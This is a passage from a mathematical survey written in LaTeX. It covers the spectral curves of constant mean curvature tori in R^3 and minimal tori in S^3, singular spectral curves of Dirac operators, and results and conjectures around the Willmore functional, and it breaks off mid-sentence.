$$
\partial_x \varphi = A(\lambda) \varphi, \ \ \
\partial_y \varphi = B(\lambda) \varphi
$$
such that $A$ and $B$ are Laurent series in a spectral parameter.
It is also assumed that $\lambda$ comes nontrivially into this representation.
For deriving explicit solutions of the {\it zero
curvature equation} (\ref{null}) equation one can use the
machinery of soliton theory and, in particular, of the theory of
integrable harmonic maps which started with papers
\cite{Pohl,ZM,U} and was intensively developed in last thirty
years (the recent statement of this theory is presented in
\cite{Guest,Harm,HeleinBook}). The most complete list of
integrable surfaces in ${\mathbb R}^3$ is given in \cite{Bob2} (see also
\cite{FGFL}).
This theory works well for spheres when it is enough to apply
algebraic geometry of complex rational curves and for tori when
explicit formulas for surfaces are derived in terms of theta
functions of some Riemann surfaces. For surfaces of higher genus
theory of integrable systems does not lead to a substantial
progress. This probably has serious reasons consisting in that
tori are the only closed surfaces admitting flat metrics.
The spectral curves of integrable tori appear as the spectral
curves of operators coming in these auxiliary linear problems.
These complex curves (Riemann surfaces) serve for constructing
explicit formulas for tori in terms of theta functions of these
Riemann surfaces.
It appears that that is not accidentally and these spectral curves
of integrable tori are just special cases of the general spectral
curve defined in \S \ref{subsec4.4} for all tori (not only
integrable).
In \cite{T3} we proved such a coincidence (modulo additional
irreducible components) for constant mean curvature and isothermic
tori in ${\mathbb R}^3$ and for minimal tori in $S^3$. Corollary \ref{bound}
rules out additional components.
{\sc A) Constant mean curvature (CMC) tori in ${\mathbb R}^3$.} By the
Ruh--Vilms theorem, the Gauss map of a surface in ${\mathbb R}^3$ is
harmonic if and only if this surface has a constant mean
curvature \cite{RV}. By the Gauss--Codazzi equations this is
equivalent to the condition that the Hopf
differential $A dz^2$ is holomorphic:
$$
A_{\bar{z}} = 0.
$$
On a sphere a holomorphic quadratic differential vanishes and therefore, by
the Hopf theorem, CMC spheres in ${\mathbb R}^3$ are exactly round spheres \cite{Hopf}
It was also conjectured by Hopf that all immersed compact CMC surfaces
in ${\mathbb R}^3$ are just round spheres. Although this conjecture was confirmed for
embedded surfaces by Alexandrov \cite{Alexandrov} it was disproved for
immersed surfaces of higher genera.
The existence of CMC tori was established in the early 1980's by
Wente by means of the Banach space implicit function theorem.
The first explicit examples were found by Abresch in \cite{ACMC1}
and the analysis of these examples performed in \cite{ACMC2} gave a hint on
the relation of this problem to integrable systems.
It was proved later for a CMC torus the
complex curve $\Gamma$ is of finite genus \cite{PS} and this
allowed to apply the Baker--Akhiezer functions to deriving
explicit formulas for such tori in terms of theta functions of
$\Gamma$ (this program was realized by Bobenko in
\cite{Bobenko,Bob1}). The existence of CMC surfaces of very genus greater
than one was established by Kapouleas also by implicit
methods \cite{Kap1,Kap2} and the problem of explicit
description of such surfaces stays open.
We remark that some other
interpretation of CMC surfaces in terms of
an infinite-dimensional integrable system was proposed in \cite{KonTai} and
is based on the Weierstrass representation.
On a torus a holomorphic quadratic differential is constant (with respect to
a conformal parameter $z$). Given a CMC torus, by dilation of the surface and
a linear transform $z \to az$ of the conformal parameter, it is
achieved that
$$
A dz^2 = \frac{1}{2} dz^2, \ \ \ H =1.
$$
In this event the Gauss--Codazzi equations read
$$
u_{z\bar{z}} + \sinh u = 0
$$
where $u=2\alpha$ and $e^{2\alpha}dzd\bar{z}$ is the metric on the
torus. This equation is the compatibility condition for the
following system
\begin{equation}
\left[ \frac{\partial}{\partial z} - \frac{1}{2} \left(
\begin{array}{cc}
-u_z & - \lambda \\
- \lambda & u_z
\end{array}
\right)\right]\psi = 0, \ \ \ \left[ \frac{\partial}{\partial
\bar{z}} - \frac{1}{2 \lambda} \left(
\begin{array}{cc}
0 & e^{-u} \\
e^u & 0
\end{array}
\right)\right] \psi = 0. \label{sinh-comm-2}
\end{equation}
Let $\Lambda$ be the period lattice for the torus.
We consider the
linear problem
$$
L \psi =
\partial_z \varphi -
\frac{1}{2} \left(
\begin{array}{cc}
-u_z & 0 \\
0 & u_z
\end{array}
\right) \psi = \frac{1}{2} \left(
\begin{array}{cc}
0 & - \lambda \\
- \lambda & 0
\end{array}
\right) \psi.
$$
Since $L$ is a first order $2\times 2$-matrix operator, for every
$\lambda \in {\mathbb C}$ the system (\ref{sinh-comm-2}) has a
two-dimensional space $V_\lambda$ of solutions and these spaces
are invariant under the translation operators
$$
\widehat{T}_j \varphi (z) = \varphi (z + \gamma_j), \ \ \ j=1,2,
$$
where $\gamma_1$ and $\gamma_2$ are generators of $\Lambda$. The
operators $\widehat{T}_1, \widehat{T}_2$, and $L$ commute and
therefore have common eigenvectors which are glued into a
meromorphic function $\psi (z,\bar{z},P)$ on a two-sheeted
covering
$$
\widehat{\Gamma} \rightarrow {\mathbb C}: P \in \widehat{\Gamma}
\rightarrow \lambda \in {\mathbb C},
$$
ramified at points where $\widehat{T}_j$ and $L$ are not
diagonalized simultaneously. This the standard procedure for
constructing spectral curves of periodic operators \cite{Novikov}.
To each point $P \in \widehat{\Gamma}$ there corresponds a unique
(up to a constant multiple) Floquet function $\psi(z,\bar{z},P)$
with multipliers $\mu(\gamma_1,P)$ and $\mu(\gamma_2,P)$. The
complex curve $\widehat{\Gamma}$ is compactified by four
``infinities'' $\infty_{\pm}^1, \infty_{\pm}^2$ such that
$\infty_{\pm}^1$ are projected into $\lambda = \infty$ and
$\infty_{\pm}^2$ are projected into $\lambda = 0$ and we may take
$\psi$ meromorphic on $\widehat{\Gamma}$ with the following
essential singularities at the ``infinities'':
$$
\psi(z,\bar{z},P) \approx \exp{\left(\mp\frac{\lambda
z}{2}\right)} \left(
\begin{array}{c} 1 \\ \pm 1
\end{array}\right)
\ \ \mbox{as $P \to \infty_{\pm}^1$},
$$
$$
\psi(z,\bar{z},P) \approx \exp{\left(\mp
\frac{\bar{z}}{2\lambda}\right)} \left(
\begin{array}{c} 1 \\ \pm 1
\end{array}\right)
\ \ \mbox{as $P \to \infty_{\pm}^2$}.
$$
The multipliers tend to $\infty$ as $\lambda \to 0,\infty$.
The complex curve $\Gamma$ admits the involution which preserves
multipliers:
$$
\sigma(\lambda) = - \lambda, \ \ \
\left(
\begin{array}{c}
\varphi_1 \\ \varphi_2
\end{array}
\right)
\to
\left(
\begin{array}{c}
\varphi_1 \\ -\varphi_2
\end{array}
\right), \ \ \
\sigma(\infty^1_{\pm}) = \infty^1_{\mp}, \ \ \
\sigma(\infty^2_{\pm}) = \infty^2_{\mp}.
$$
The complex quotient curve $\widehat{\Gamma}/\sigma$ is called the
spectral curve of a CMC torus.
We have
\begin{proposition}
[\cite{T3}] $\varphi$ meets (\ref{sinh-comm-2}) if and only if
$\psi = (\lambda \varphi_2, e^{\alpha}\varphi_1)^{\top}$ satisfies
the Dirac equation ${\cal D} \psi = 0$ with $U = \frac{He^\alpha}{2} =
\frac{e^\alpha}{2}$.
\end{proposition}
Thus we have an analytic mapping of $\Gamma$ onto the spectral
curve of a general torus defined in \S \ref{subsec4.4} such that
the mapping preserves the multipliers. This implies these complex
curves coincide up to irreducible components. Together with
Corollary \ref{bound} this implies
\begin{proposition}
The spectral curve of a CMC torus in ${\mathbb R}^3$ coincides with the
(general) spectral curve, of the torus, defined in \S
\ref{subsec4.4}.
\end{proposition}
{\sc B) Minimal tori in $S^3$.} We consider the unit sphere in
${\mathbb R}^4$ as the Lie group $SU(2)$. For minimal surfaces in $SU(2)$
the derivational equations (\ref{h1}) and (\ref{h2}) are
simplified and we obtain the Hitchin system \cite{Hitchin}
\begin{equation}
\bar{\partial} \Psi - \partial \Psi^\ast + [\Psi^\ast,\Psi] = 0, \
\ \
\bar{\partial} \Psi + \partial \Psi^\ast = 0.
\label{hitchin1}
\end{equation}
The first equation implies that the $SL_2$ connection ${\cal A}=
(\partial + \Psi, \bar{\partial} + \Psi^{\ast})$ on $f^{-1}(TG)$
is flat. In this event the second equation implies that this
connection is extended to an analytic family of flat connections
$$
{\cal A}_{\lambda} = \left(\partial +
\frac{1+\lambda^{-1}}{2}\Psi, \bar{\partial} +
\frac{1+\lambda}{2}\Psi^{\ast} \right)
$$
where ${\cal A} = {\cal A}_1$ and $\lambda \in {\mathbb C}\setminus \{0\}$.
Thus we obtain an ``L,A''-pair with a spectral parameter and
therefore derive that this system is integrable. This trick is
general for integrable harmonic maps.
Let us define the spectral curve.
Let $\Sigma$ be a minimal torus in $SU(2)$ and let
$\{\gamma_1,\gamma_2\}$ be a basis for $\Lambda$.We define
matrices $H(\lambda)$ and $\widetilde{H}(\lambda) \in SL(2,{\mathbb C})$
which describe the monodromies of ${\cal A}_{\lambda}$ along
closed loops realizing $\gamma_1$ and $\gamma_2$ respectively.
These matrices commute and hence have joint eigenvectors
$\varphi(\lambda,\mu)$ where $\mu$ is a root of the characteristic
equation for $H(\lambda)$:
$$
\mu^2 - {\mathrm{Tr}\, } H(\lambda) + 1 = 0.
$$
The eigenvalues
$$
\mu_{1,2} = \frac{1}{2}\left( {\mathrm{Tr}\, } H(\lambda) \pm \sqrt{{\mathrm{Tr}\, }^2
H(\lambda) -4}\right)
$$
are defined on a Riemann surface $\Gamma$ which is a two-sheeted
covering of ${\mathbb C} P^1$ ramified at the odd zeros of the function
$({\mathrm{Tr}\, }^2 H(\lambda) -4)$ and at $0$ and $\infty$ (multiple zeros
are removed by the normalization). This $\Gamma$ is the spectral
curve of a minimal torus in $SU(2)$ and has finite genus.
Above we expose Hitchin's results which are valid for all harmonic
tori in $S^3$ (this includes both cases of minimal tori in $S^3$ and
harmonic Gauss maps into $S^2 \subset S^3$) \cite{Hitchin}. Now we
have to confine to minimal tori in $S^3$.
Let ${\cal D}$ be the Dirac operator associated with this torus and the
spinor $\psi^\prime$ generates the torus via the Weierstrass
representation. Let us
$$
L =
\frac{1}{\sqrt{2}}
\left(
\begin{array}{cc}
\bar{a} & -\bar{b} \\ b & a
\end{array}
\right), \ \ \ a = -i\bar{\psi^\prime}_1 + \psi^\prime_2, \ \ \ b =
- i \psi^\prime_1 + \bar{\psi^\prime}_2.
$$
We have
\begin{proposition}
[\cite{T3}]
The Hitchin eigenfunctions $\varphi$
are transformed by the
mapping
$$
\varphi \to
\psi =
e^{\alpha} \left(
\begin{array}{cc}
0 & i \lambda \\
1 & 0
\end{array}
\right) \cdot L^{-1}
\varphi
$$
into solutions of the Dirac equation ${\cal D}\psi = 0$ corresponding to
the torus $\Sigma$ in $S^3$.
\end{proposition}
As in the case of CMC tori in ${\mathbb R}^3$ (see above) this Proposition
together with Corollary \ref{bound} implies
\begin{proposition}
The spectral curve of a minimal torus in $S^3$ coincides with the
(general) spectral curve of the torus (as this curve is defined in
\S \ref{subsec4.4}).
\end{proposition}
\subsection{Singular spectral curves}
\label{subsec4.7}
The perturbation of the free operator could be so strong that
another singularities (not coming from resonance pairs) could
appear in $\Gamma$. If $\Gamma_{\mathrm{nm}}$ is algebraic then we write
down the corresponding Baker--Akhiezer function
$\psi(z,\bar{z},P)$ such that
1) ${\cal D} \psi =0$;
2) $\psi$ is meromorphic on $\Gamma$ and has the following
asymptotics at the infinities:
$$
\psi \approx \left(
\begin{array}{c} e^{\lambda_+ z} \\ 0 \end{array}
\right) \ \ \mbox{as $P \to \infty_+$}, \ \ \ \psi \approx \left(
\begin{array}{c} 0 \\ e^{\lambda_- \bar{z}} \end{array}
\right) \ \ \mbox{as $P \to \infty_-$}
$$
where $\lambda^{-1}_\pm$ are local coordinates near $\infty_\pm$,
$\lambda^{-1}_\pm(\infty_\pm)=0$. We may put
$\lambda_\pm = 2\pi i k_1$.
The function $\psi$ is formed by Floquet functions
$\psi(z,\bar{z},P)$ taken at different points of the spectral
curve such that $\psi$ is meromorphic and has the asymptotics as
above. The function ``draws'' the complex curve
$\Gamma_\psi$ on which it is defined such that no one Floquet function
is counted twice in different points of $\Gamma_\psi$.
There is a chain of mappings
$$
\Gamma_{\mathrm{nm}} \to \Gamma_\psi \to \Gamma
$$
such that the composition of them is the normalization of $\Gamma$
and the first of them is the normalization of $\Gamma_\psi$. We
have evident inequalities:
$$
p_g(\Gamma) = p_g(\Gamma_\psi) \leq p_a(\Gamma_\psi) < \infty
$$
where $p_a(\Gamma_\psi)$ is the arithmetic genus of $\Gamma_\psi$
which differs from the geometric genus of $\Gamma_\psi$ by the
contribution of singular points.
The function $\psi$ can be pulled back onto a nonsingular curve
$\Gamma$ where it will have exactly $p_a(\Gamma_\psi)+1$ poles
(this follows from the finite gap integration theory).
For the Dirac operator, $p_a(\Gamma_\psi)$ equals ``the number of
poles of its normalized Baker--Akhiezer function'' minus one.
We arrive to the following conclusion:
\begin{itemize}
\item
the Baker--Akhiezer function $\psi$ defines the Riemann surface
$\Gamma_\psi$ in the classical spirit of the Riemann paper as the
surface on which the given function $\psi$ is naturally defined.
This surface is obtained from $\Gamma$ by performing
normalizations of singularities only when the dimension of the
space of Floquet functions at the point is decreased after the
normalization (for instance, this is the case of resonance pairs).
\item
in difference with $\Gamma_{\mathrm{nm}}$, the complex curve $\Gamma_\psi$ gives a one-to-one
parameterization of all Floquet functions (up to multiples).
\end{itemize}
For minimal tori in $S^3$ this situation is explained in detail in \cite{Hitchin}.
If we would like to construct a torus with finite spectral genus
in terms of theta functions we have to work with the curve
$\Gamma_\psi$ again as we demonstrated that in \S \ref{subsec4.5}
for the Clifford torus.
The following definition of $\Gamma_\psi$ comes from the finite
gap integration theory:
\begin{itemize}
\item
Let ${\cal D}$ be a Dirac operator with double-periodic potentials $U$
and $V$ and let $\Gamma_\psi$ be a Riemann surface (probably
singular) of finite arithmetic genus $p_a(\Gamma_\psi) =g$ with
two marked nonsingular points $\infty_\pm$ and local parameters $k_\pm^{-1}$
near these points such that $k^{-1}_\pm(\infty_\pm)=0$.
Let $\psi(z,\bar{z},P)$ be a Baker--Akhiezer function $\psi$
which is defined on ${\mathbb C} \times \Gamma_\psi
\setminus\{\infty_\pm\}$ such that
1) $\psi$ is meromorphic in $P$ outside $\infty_\pm \in \Gamma$
and has poles at $g+1$ nonsingular points $P_1+ \dots + P_{g+1}$;
2) $\psi$ has the following asymptotics at $\infty_\pm$:
$$
\psi \approx e^{k_+ z} \left[ \left(
\begin{array}{c}
1 \\ 0
\end{array}
\right) + \left(
\begin{array}{c}
\xi^+_1 \\ \xi^+_2
\end{array}
\right) k_+^{-1} + O(k_+^{-2}) \right] \ \ \mbox{as $P \to
\infty_+$},
$$
$$
\psi \approx e^{k_- \bar{z}} \left[ \left(
\begin{array}{c}
0 \\ 1
\end{array}
\right) + \left(
\begin{array}{c}
\xi^-_1 \\ \xi^-_2
\end{array}
\right) k_-^{-1} + O(k_-^{-2}) \right] \ \ \mbox{as $P \to
\infty_-$}
$$
and $\psi$ satisfies the Dirac equation ${\cal D} \psi=0$ everywhere on
$\Gamma_\psi$ except the ``infinities'' $\infty_\pm$ and the poles
of $\psi$.
We say that $\Gamma_\psi$ is the {\it spectral curve of a finite
gap operator} ${\cal D}$.
\end{itemize}
For a generic divisor $P_1+\dots+P_{g+1}$ such a function is
unique and the potentials are reconstructed from it by the
formulas:
\begin{equation}
\label{reconstruction}
U = -\xi^+_2, \ \ V =\xi^-_1.
\end{equation}
The attempt to define such a Riemann surface in the case when $p_g(\Gamma) =
\infty$ meets a lot of analytical difficulties.
We refer to \cite{T4} for more detailed exposition of some questions related to
singular spectral curves.
We see in \S \ref{subsec4.5} that for the Clifford torus
$\Sigma_{1,1} \subset {\mathbb R}^4$ the potential is constant and the
spectral curve is a sphere. Moreover
$$
p_g(\Gamma) = p_a(\Gamma_\psi) = 0.
$$
However the potential of its stereographic projection, which is
the Clifford torus in ${\mathbb R}^3$, equals
$$
U = \frac{\sin x}{2\sqrt{2}(\sin x - \sqrt{2})}
$$
where $x$ is one of the angle variables and, by Theorem
\ref{cliftheorem}, for an operator with this potential we have
$$
p_g(\Gamma) = 0, \ \ \ p_a(\Gamma_\psi) = 2.
$$
Therefore the stereographic projection of the Clifford torus from $S^3$ into
${\mathbb R}^3$ results in the appearance of singularities in
$\Gamma_\psi$.
This leads to an interesting problem:
\begin{itemize}
\item
{\sl what is the relation between the spectral curve of a torus in
the unit sphere $S^3 \subset {\mathbb R}^4$ and the spectral curve of its
stereographic projection?}
\end{itemize}
We think that the answer to this question is as follows: the
potentials are related by some B\"acklund transformation which
leads to a transformation of the spectral curve. Probably there is
an analogy with such a transformation for the Schr\"odinger
operator exposed in \cite{EK}. We also expect that the answer to
the following question is positive:
\begin{itemize}
\item
{\sl do the images ${\cal M}(\Gamma)$ of the multiplier mappings for
a torus in $S^3$
and for its stereographic projection coincide?}
\end{itemize}
There is another interesting problem:
\begin{itemize}
\item
{\sl characterize the spectral curves of tori in ${\mathbb R}^3$ and ${\mathbb R}^4$.}
\end{itemize}
For tori in ${\mathbb R}^3$ and in ${\mathbb R}^4$ the answers have to be different.
Indeed, it was already mentioned in \cite{Bobenko} that the
spectral curves for CMC tori in ${\mathbb R}^3$ have to be singular (for
them that results in the appearance of multiple branch points
which are transformed by the normalization into pairs of points
interchanged by the hyperelliptic involution). \footnote{In
\cite{Schmidt} it is showed that for tori in ${\mathbb R}^3$ ${\cal
M}(\Gamma)$ contains a point of multiplicity at least four or a
pair of double points at which the differentials $dk_1$ and $dk_2$
vanish (here $k_1$ and $k_2$ are quasimomenta). We notice that
does not mean that $\Gamma_\psi$ meets the same conditions: for
instance, for the Clifford torus in ${\mathbb R}^3$ the spectral curve
$\Gamma_\psi$ has a pair of double points at which $dk_1$ and
$dk_2$ do not vanish and has no more singular points.} However for
the Clifford torus in ${\mathbb R}^4$ the spectral curve is nonsingular.
\section{The Willmore functional}
\subsection{Willmore surfaces and the Willmore conjecture}
\label{subsec5.1}
The Willmore functional for closed surfaces in ${\mathbb R}^3$ is defined
as \begin{equation} \label{willmore} {\cal W}(\Sigma) = \int_\Sigma H^2 d\mu \end{equation}
where $d\mu$ is the induced area form on the surface. It was
introduced by Willmore in the context of variational problems
\cite{Willmore}. Therewith Willmore was first who stated a global
problem of the conformal geometry of surfaces, i.e. the Willmore
conjecture which we discuss later. The Euler--Lagrange equation
for this functional takes the form
$$
\Delta H+2H(H^2-K)=0
$$
where $\Delta$ is the Laplace--Beltrami operator on the surface.
Surfaces meeting this equation are called Willmore surfaces.
We remark that $H = \frac{\varkappa_1+\varkappa_2}{2}$ and, by the
Gauss--Bonnet theorem, for a compact oriented surface $\Sigma$
without boundary we have
$$
\int_\Sigma K d\mu = \int_\Sigma \varkappa_1 \varkappa_2 d\mu =
2\pi \chi(\Sigma)
$$
where $\chi(\Sigma)$ is the Euler characteristic of $\Sigma$. By
adding a topological term to ${\cal W}$ we obtain the functional with
the same extremals among closed surfaces and may simplify the
variational problem. For spheres it takes the case when
considering the functional
$$
\widehat{{\cal W}} (\Sigma) = \int (H^2-K) d\mu = {\cal W}(\Sigma) - 2\pi
\chi(\Sigma)
$$
we conclude that
\footnote{This is similar to the instanton trick
which led to a discovery of selfdual connections.}
$$
\widehat{{\cal W}} = \frac{1}{4} \int_\Sigma (\varkappa_1-\varkappa_2)^2
d\mu.
$$
We recall that a point on a surfaces is called an {\it umbilic}
point if $\varkappa_1 = \varkappa_2$ at it. A surface is called
{\it totally umbilic} if all its points are umbilics. By the Hopf
theorem, a totally umbilic surface in ${\mathbb R}^3$ is a domain in a
round sphere or in a plane. For spheres this gives for spheres a
lower estimate for the Willmore functional and a description of
all its minima:
\begin{itemize}
\item
for spheres
$$
{\cal W}(\Sigma) \geq 4\pi $$
and
${\cal W}(\Sigma) = 4\pi$ if and only if $\Sigma$ is a round sphere.
\end{itemize}
For surfaces of higher genus this trick does not work.
The functional $\widehat{{\cal W}}$ was introduced by to Thomsen
\cite{Th} and Blaschke \cite{Blaschke} who called it the conformal
area for the following reasons:
1) the quantity $(H^2 - K)d\mu$ is invariant with respect to
conformal transformations of the ambient space and therefore,
given a compact oriented surface $\Sigma \subset {\mathbb R}^3$ and a
conformal transformation $G: \overline{{\mathbb R}}^3 \to \overline{{\mathbb R}}^3$
which maps $\Sigma$ into a compact surface, we have
$$
\widehat{{\cal W}} (\Sigma) = \widehat{{\cal W}}(G(\Sigma));
$$
2) if $\Sigma$ is a minimal surface in $S^3$ and $\pi:S^3 \to
\overline{{\mathbb R}}^3$ is the stereographic projection which maps
$\Sigma$ into ${\mathbb R}^3$, then $\pi(\Sigma)$ is a Willmore surface.
Moreover as it is proved in \cite{Bryant1}
3) outside umbilic points there is defined a quartic differential
$\widehat{A}(dz)^4$ which is holomorphic if the surface is a
Willmore surface;
We expose these results in Appendix 2.
By 2) there are examples of compact closed Willmore surfaces. We
remark that not all compact Willmore surfaces are stereographic
projections of minimal surfaces in $S^3$ (this was first showed
for tori in \cite{Pinkall}).
It follows from 3) that outside umbilics Willmore surfaces admit a
good description which is similar to the description of CMC
surfaces in terms of the holomorphicity of a quadratic Hopf
differential. However there are examples of compact Willmore
surfaces which even have lines consisting of umbilics \cite{BB}.
By 1) the minimum of the Willmore functional in each topological
class of surfaces is conformally invariant and hence degenerate.
We note that the existence of a minimum which real-analytical
surface was proved for tori by Simon \cite{Simon} and for surfaces
of genus $g \geq 2$ by Bauer and Kuwert \cite{Bauer}. Recently
Schmidt presented the proof of the following result: given a genus
and a conformal class of an oriented surface, the Willmore
functional achieves its minimum on some surface which a priori may
have branch points or be a branched covering of an immersed
surface \cite{Schmidt2}. His technique uses the Weierstrass
representation and some ideas from \cite{Schmidt}. \footnote{See
Appendix 1.}
Bryant started the program of describing all Willmore spheres by
applying the fact that at a holomorphic quartic differential on a
sphere vanishes and, therefore, Willmore spheres admit description
in terms of algebro-geometric data \cite{Bryant1}. We have
\begin{itemize}
\item
the image of a minimal surface in ${\mathbb R}^3$ under a Moebius transform
$(x-x_0) \to (x-x_0)/|x-x_0|^2$ is a Willmore surface and any
minimal surface $\Sigma$ with planar ends is mapped by a Moebius
transform. with the center $x_0$ outside the surface, into a
smooth compact Willmore surface $\Sigma^\prime$ such that
$$
{\cal W}(\Sigma^\prime) = 4\pi n,
$$
where $n$ is the number of planar ends of $\Sigma$.
\end{itemize}
\noindent
Bryant proved that all Willmore spheres are Moebius
inverses of minimal surfaces with planar ends, that the case $n=1$
corresponds to the round spheres, there are no such spheres with
$n=2$ and $3$, and described all Willmore spheres with $n=4$.
Later it was proved in \cite{Peng} that Willmore spheres exist
for all even $n \geq 6$ and all odd $n \geq 9$. The left cases
$n=5$ and $7$ were finally excluded in \cite{Bryant2}.
The Willmore conjecture states that
\begin{itemize}
\item
{\sl for tori
$$
{\cal W} \geq 2\pi^2
$$
and the Willmore functional attains its minimum on the Clifford torus and
its images under conformal transformations of $\overline{{\mathbb R}}^3$.}
\end{itemize}
The Clifford torus was already introduced in \S
\ref{subsec4.5}.
Since the Willmore functional is conformally invariant and the
stereographic projection $\pi:S^3 \to \overline{R}^3$ is
conformal, we do not distinguish the original Willmore conjecture
and its counterpart for tori in $S^3$ for which the Willmore
functional is replaced by \begin{equation} \label{wills3} {\cal W}_{S^3} = \int (H^2
+1) d\mu, \ \ \ \ {\cal W}_{S^3} (\Sigma) = {\cal W}(\pi(\Sigma)). \end{equation}
Willmore introduced his conjecture in \cite{Willmore} where he checked it for round tori of revolution.
It is proved in many special cases:
1) for tube tori, i.e for tori
formed by carrying a circle centered at a closed curve along this curve
such that the circle always lies in the normal plane,
by Shiohama and Takagi \cite{Shiohama} and by Willmore \cite{Willmore2}
(if we admit for the radius of the circle to vary we obtain channel tori
for which the conjecture was established in \cite{HP});
2) for tori of revolution by Langer and Singer \cite{LangerSinger};
3) for tori conformally equivalent to ${\mathbb R}^2/\Gamma(a,b)$ with
$0\le a\le1/2$, $\sqrt{1-a^2}\le b\le 1$
where the lattice $\Gamma(a,b)$ is generated by $(1,0)$ and $(a,b)$
(Li--Yau \cite{LiYau});
4) the previous result of Li and Yau was improved by Montiel and Ros who extended it to the case
$\left(a - \frac{1}{2}\right)^2 + (b-1)^2 \leq \frac{1}{4}$ \cite{MontielRos};
5) for tori in $S^3$ which are symmetric under the antipodal
mapping (Ros \cite{Ros}).
6) since it was also proved by Li and Yau that if a surface has a selfintersection point with multiplicity $n$
then ${\cal W} \geq 4\pi n$ \cite{LiYau}, the conjecture is proved for tori with selfintersections.
Some other partial results were obtained in \cite{Ammann,Topping}.
We also mention the paper \cite{Weiner} where the second variation
form of ${\cal W}$ for the Clifford torus was computed and it was proved
that this form is non-negative. The second variation formula for
general Willmore surfaces was obtained in \cite{Palmer}.
In general case the conjecture stays open.
We shall discuss some recent approach applied in \cite{Schmidt} in the next paragraph.
By (\ref{wills3}), the following conjecture is a special case, of the Willmore conjecture,
which also stays open:
\begin{itemize}
\item
{\sl for minimal tori in $S^3$ the volume is bounded from below by
$2\pi^2$ and attains its minimum on the Clifford torus in $S^3$.}
\end{itemize}
By the Li--Yau theorem on surfaces with selfintersections this
conjecture follows from the following conjecture by Hsiang and
Lawson:
\begin{itemize}
\item
{\sl the Clifford torus is the only minimal torus embedded in $S^3$.}
\end{itemize}
Since a holomorphic quartic differential on a torus has constant
coefficients, there are two opportunities: it vanishes or it
equals $c(dz)^4, c = {\mathrm const} \neq 0$.
In the first case a torus is obtained as a Moebius image of a
minimal torus with planar ends. For evident reasons it is clear
that there are no such tori with $n=1$ and $2$ ends. The case
$n=3$ was excluded by Kusner and Schmitt who also constructed
examples with $n=4$ \cite{KusnerS}. First examples of minimal
rectangular tori with four planar ends were constructed by Costa
\cite{Costa}. Recently Shamaev constructed such tori for all even
$n \geq 6$ \cite{Shamaev}. However it looks from the construction
that in generic case these tori do not have branch points that was
rigorously proved only for $n=6,8$, and $10$.
In the second case the Codazzi type equations for Willmore tori
without umbilics coincide with the four-particle Toda lattice
\cite{FPPS,Babich}. \footnote{See Appendix 2.} The theta formulas
for such Willmore tori are derived in \cite{Babich} by using Baker--Akhiezer
functions related to this Toda lattice.
Another construction of Willmore tori by methods of integrable
systems was proposed in \cite{Helein0}.
For surfaces of higher genus the candidates for the minima of the
Willmore functional were proposed by Kusner \cite{Kusner}.
There is the conjecture that for tori in ${\mathbb R}^4$ the Willmore
functional $\int |H|^2 d\mu$ attains its minimum on the Clifford
torus in ${\mathbb R}^4$, i.e. the product of two circles of the same radii
(see \cite{Wintgen1,Wintgen2}) . Since this torus is Lagrangian
the last conjecture is weakened by assuming that the Clifford
torus is the minimum for ${\cal W}$ in a smaller class of Lagrangian
tori. That is discussed in \cite{Minicozzi} where it is proved
that ${\cal W}$ achieves its minimum among Lagrangian tori on some
really-analytical torus.
We do not discuss the generalization of the Willmore functional
for surfaces in arbitrary Riemannian manifolds which is
$$
\int (|H|^2 + \widehat{K}) d\mu
$$
where $\widehat{K}$ is the sectional curvature of the ambient
space along the tangent plane to the surface. The quantity $(|H|^2
- K + \widehat{K})d\mu$ is invariant with respect to conformal
transformations of the ambient space \cite{Chen}.
In \cite{Berdinsky} another generalization of the Willmore
functional for surfaces in three-dimensional Lie groups is
proposed. It is based on the spectral theory of Dirac operators
coming into Weierstrass representations (see also \S
\ref{subsec5.5}).
We also have to mention the Willmore flow which is similar to the
mean curvature flow and decreases the value of ${\cal W}$ (see the paper
\cite{KS} and references therein).
We finish this part by a remark on constrained Willmore surfaces
which are, by definition, critical points of the Willmore
functional restricted onto the space of surfaces with the same
conformal type. It was first observed by Langer that compact
constant mean curvature surfaces in ${\mathbb R}^3$ are constrained
Willmore since for them the Gauss map is harmonic \cite{PS0}. We
refer for the basics of the theory of such surfaces to
\cite{BPPin}.
\subsection{Spectral curves and the Willmore conjecture}
\label{subsec5.2}
As it is showed in \cite{T1} in terms of the potential $U$ of a Weierstrass representation of a torus
in ${\mathbb R}^3$ the Willmore functional
is
$$
{\cal W} = 4 \int_M U^2 dx dy.
$$
So it measures the perturbation of the free operator.
We recall that the Willmore conjecture states that this functional
for tori attains its minimum at the Clifford torus for which the
Willmore functional equals $2\pi^2$.
Starting from the observation that the Willmore functional is the
first integral of the mNV flow which deforms tori into tori
preserving the conformal class (see \S \ref{subsec3.1}) we
introduced in 1995 the following conjecture (see \cite{T1}):
\begin{itemize}
\item
{\sl a nonstationary (with respect to the mNV flow) torus cannot
be a local minimum of the Willmore functional.}
\end{itemize}
It was based on the assumption that a minimum of such a
variational problem is nondegenerate and thus has
to be stable with respect to soliton
deformations which are
governed by equations from the mNV hierarchy and which preserve the value of
the Willmore functional. By soliton theory these equations are linearized on
the Jacobi variety of the normalized spectral curve and generically these
linear flows span this Jacobi variety which is an Abelian variety of
complex dimension $p_g(\Gamma)$ or some Prym subvariety of the Jacobi
variety.
Its geometrical analog was formulated in \cite{T2} where we
introduced a notion of the spectral genus of a torus as
$p_g(\Gamma)$:
\begin{itemize}
\item
{\sl given a conformal class of tori in ${\mathbb R}^3$, the minima of the
Willmore functional are attained at tori of the minimal spectral
genus.}
\end{itemize}
In \cite{T2} we proposed the following explanation to the lower
bounds for ${\cal W}$: for small perturbations of the zero potential
$U=0$ the Weierstrass representation gives us planes which do not
convert into tori and, since for surfaces in ${\mathbb R}^3$ the Willmore
functional is the squared $L_2$-norm of $U$, the lower bound shows
how large a perturbation of the zero potential has to be to force
the planes to convert into tori.
The strategy to prove the Willmore conjecture after proving the
last conjecture is to calculate the values of the Willmore
functional for tori of the minimal spectral genus (by using the
formula (\ref{willmoreformula}) or by other means) and to check
the Willmore conjecture.
We already mentioned in this text the paper \cite{Schmidt} by
Schmidt. This paper contains a series of
important results. \footnote{In this paper it is also presented a
proof of the fact that the spectral genus of a constrained Willmore
torus in ${\mathbb R}^3$ is finite. Another proof was presented by
Krichever (unpublished). This fact is nontrivial even for Willmore
tori because the trick which uses soliton theory and was applied
in \cite{Hitchin,PS} to harmonic tori in $S^3$ and constant mean
curvature tori in ${\mathbb R}^3$ (see also \cite{Bob1}) does work not for
all tori. It is applied only to
tori described by the four-particle Toda lattice without umbilic
points at which $e^\beta = 0$ (see Appendix 2).} For our interests
